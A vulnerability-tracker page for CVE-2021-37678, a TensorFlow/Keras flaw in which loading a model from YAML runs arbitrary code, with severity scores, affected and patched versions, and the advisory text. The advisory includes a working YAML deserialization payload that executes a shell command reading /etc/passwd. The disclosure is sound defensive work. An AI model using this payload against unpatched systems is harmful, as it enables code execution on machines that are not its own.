CVE-2021-37678Critical· 9.3▾ AbyssalPoC availableArbitrary code execution due to YAML deserialization
▾ Abyssal zone — Critical with a public exploit or in-the-wild use
impact 51.2 · likelihood 0.1 · exploitation 12
A public proof-of-concept already exists for this vulnerability — see Exploit availability below.
Public exploit / PoC code seen in 1 source. Availability, not in-the-wild use.
Exploit-prediction probability, daily snapshots since Jul 8.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
Last analysed / modified upstream
0.5%
1 GitHub repo
TensorFlow and Keras can be tricked to perform arbitrary code execution when deserializing a Keras model from YAML format.
from tensorflow.keras import models
payload = '''
!!python/object/new:type
args: ['z', !!python/tuple [], {'extend': !!python/name:exec }]
listitems: "__import__('os').system('cat /etc/passwd')"
'''
models.model_from_yaml(payload)
The implementation uses yaml.unsafe_load which can perform arbitrary code execution on the input.
Given that YAML format support requires a significant amount of work, we have removed it for now.
We have patched the issue in GitHub commit 23d6383eb6c14084a8fc3bdf164043b974818012.
The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.
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This vulnerability has been reported by Arjun Shibu.
tensorflow < 2.3.4tensorflow >= 2.4.0, < 2.4.3tensorflow >= 2.5.0, < 2.5.1tensorflow-cpu < 2.3.4tensorflow-cpu >= 2.4.0, < 2.4.3tensorflow-cpu >= 2.5.0, < 2.5.1tensorflow-gpu < 2.3.4tensorflow-gpu >= 2.4.0, < 2.4.3tensorflow-gpu >= 2.5.0, < 2.5.1Upgrade to a patched release:
tensorflow 2.3.4tensorflow 2.4.3tensorflow 2.5.1tensorflow-cpu 2.3.4tensorflow-cpu 2.4.3tensorflow-cpu 2.5.1tensorflow-gpu 2.3.4tensorflow-gpu 2.4.3tensorflow-gpu 2.5.1Field changes observed since this record was first indexed.
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